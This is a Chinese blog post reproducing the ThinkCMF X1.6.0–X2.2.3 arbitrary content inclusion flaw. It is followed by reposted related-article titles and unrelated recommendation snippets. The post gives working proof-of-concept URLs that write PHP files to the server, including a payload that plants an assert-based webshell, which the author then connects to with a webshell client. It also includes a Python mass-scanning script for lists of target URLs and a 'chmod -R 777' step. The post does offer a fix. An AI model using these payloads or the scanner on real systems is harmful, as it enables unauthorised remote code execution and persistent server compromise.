ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)
1.漏洞概述
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的
2.影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是这个)
ThinkCMF X2.2.2
ThinkCMF X2.2.3
3.安装
赋予权限
4.安装系统
安装成功进入主页
- Poc
- /?a=display&templateFile=README.md
- /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
- 测试
Poc1:
http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md
POC2:
http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
查看info.php
没有写入成功,干脆看看源代码吧
这里提出了错误信息意思是,没有写入权限
[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.
- 简单审计
在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal
生成了一个临时文件
打开查看
- <?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>
后面检查了一下发现是权限分发的问题
切换到cms目录下赋予所有文件可读可写可执行权限
- chmod –R 777 *
重新执行POC2
可以看到已经写入成功,这里执行了phpinfo
- 提权操作
Payload:
- /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>
前面既然可以写入phpinfo,自然也可以写入恶意代码
没有显示错误,代表写入成功,访问一下,并连接一下试试
手动连接
列出文件(assert好像手工不太好使,emmmm)
还是上菜刀
- 源代码审计
通过index.php可以发现,项目入口是application/,切换目录过去
根据poc盲猜控制器IndexController.class.php
空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)
路径找到了,/application/Common/Controller/
直接搜索fecth 获取输出页面内容
调用内置的模板引擎fetch方法,
@access protected
@param string $templateFile 指定要调用的模板文件
默认为空 由系统自动定位模板文件
@param string $content 模板输出内容
@param string $prefix 模板缓存前缀*
@return string
值得关注的是125行这里
125 */
126 public function fetch($templateFile='',$content='',$prefix=''){
127 $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
128 return parent::fetch($templateFile,$content,$prefix);
129 }
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
分析不下去(分析失败。。。。)
- 修复方案
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected
自动化检测漏洞脚本
- #-*- coding:utf-8 -*-
- import urllib2
- import re
- '''
- ThinkCMF框架任意内容包含漏洞
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
- ThinkCMF X2.2.3
- Poc:
- /?a=display&templateFile=README.md
- /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
- Author:Mke2fs
- 备注:检测脚本可能会误报,自行优化,优化完了记得滴滴一下我
还有记得表明出处- '''
- path='url地址列表,用绝对路径'
- #thincmf_payload=['/public/index','/Public/index']
- payload=['?a=display&templateFile=README.md']
- su=[]
- def test_is_thinkcmf():
- with open(path) as f:
- contents=f.read() #读取域名
- #print contents.replace('\r','').split('\n')
- urllist=contents.replace('\r','').split('\n')#去除分割符,形成一个url列表
- for uri in urllist:
- try:
- print uri
- for x in payload:
- res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2)
- result=urllib2.urlopen(res,timeout=2)#超时两秒
- html=result.read() #获取网页内容
- #print html
- aa = re.search('ThinkCMF',html)
- #print aa
- if aa !=None :
- print "\033[31m[*] Vulnerabled!" + "URL:" + uri, aa.group() # 设置前景色为红色
- su.append(uri)
- else:
- print '\033[32m[*] Not Vuln' # 设置前景色为绿色
- except Exception as e:
- print '\033[32m[*] 未知错误或异常!',e
- print su
- with open('包含漏洞url的保存地址','a+') as ff:
- for i in su:
- ff.write(i+'\n')
- test_is_thinkcmf()
参考文章:
https://xz.aliyun.com/t/6626#toc-5
https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0
ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)的更多相关文章
- ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现
ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...
- ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)
ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...
- [转]ThinkCMF框架任意内容包含漏洞分析复现
0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以 ...
- ThinkCMF框架任意内容包含漏洞复现
1. 漏洞概述 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. 利用此漏洞无需任何权限情况下,构造恶意的url,可以向服务器写入任意内容的 ...
- ThinkCMF 框架上的任意内容包含漏洞
0x01 背景 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者 ...
- ThinkCMF框架任意内容包含
更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...
- [CMS]ThinkCMF框架存在任意内容包含漏洞
原出处:https://www.freebuf.com/vuls/217586.html 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3 ...
- ThinkCMF框架上的任意内容包含漏洞
一.背景 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据 ...
- phpmyadmin任意文件包含漏洞分析(含演示)
0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...
随机推荐
- Flask 中的模板语言 Jinja2 及 render_template 的深度用法
是时候开始写个前端了,Flask中默认的模板语言是Jinja2 现在我们来一步一步的学习一下 Jinja2 捎带手把 render_template 中留下的疑问解决一下 首先我们要在后端定义几个字符 ...
- 图文详解如何使用VMWare创建一套虚拟机“集群”
开篇废话 在学习各种高大上的大数据产品也好,模拟部署我们的程序到PRD环境也好,总离不开需要一个机器集群.然而通常我们都没有那么多银子去购买多台云服务器,更没钱购买物理机.所以对于技术研究来说,最经济 ...
- 这样配置:让你的 IDEA 好用到飞起来
阅读本文大概需要 7 分钟. 来源:blog.csdn.net/fly910905/article/details/77868300 1.设置maven 1.在File->settings-&g ...
- .NETCore_项目启动设置域名以及端口
//第一种方式就是启动是一个命令窗口 public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.C ...
- java并发编程(九)ThreadLocal & InheritableThreadLocal
参考文档: https://blog.csdn.net/u012834750/article/details/71646700 threadlocal内存泄漏:http://www.importnew ...
- 关于央行数字货币DCEP的几个特点的思考(转)
近期,央行即将推出数字货币,无论在金融领域还是在资本市场,央行数字货币这一话题都被炒的很火热.央行研发的数字货币叫做DCEP(DC,DigitalCurrency,是数字货币:EP,Electroni ...
- 【免费视频】使用VS Code开发ASP.NET Core WebAPI应用程序
1.使用VS Code开发ASP.NET Core WebAPI应用程序 1.使用Visual Studio Code开发Asp.Net Core基础入门实战 毕竟从.net过度过来的我们已经习惯了使 ...
- 【原】无脑操作:Markdown可以这样玩
一.背景: Markdown是一种纯文本格式的标记语言.通过简单的标记语法,可以使普通文本内容具有一定的格式.因为语法简单明了.功能又比纯文本强大,所以很适合作为开发人员的书写工具.Markdown的 ...
- Linux手动安装新版本Python教程(CentOS)
一.说明 1.1 linux为什么不升级python版本 2008年python3就发布了,到2020年1月1日python2.7就停止更新了,为什么主流的linux迟迟不去除python2自带pyt ...
- 『保卫王国 树上倍增dp』
保卫王国 Description Z 国有n座城市,n - 1条双向道路,每条双向道路连接两座城市,且任意两座城市 都能通过若干条道路相互到达. Z 国的国防部长小 Z 要在城市中驻扎军队.驻扎军队需 ...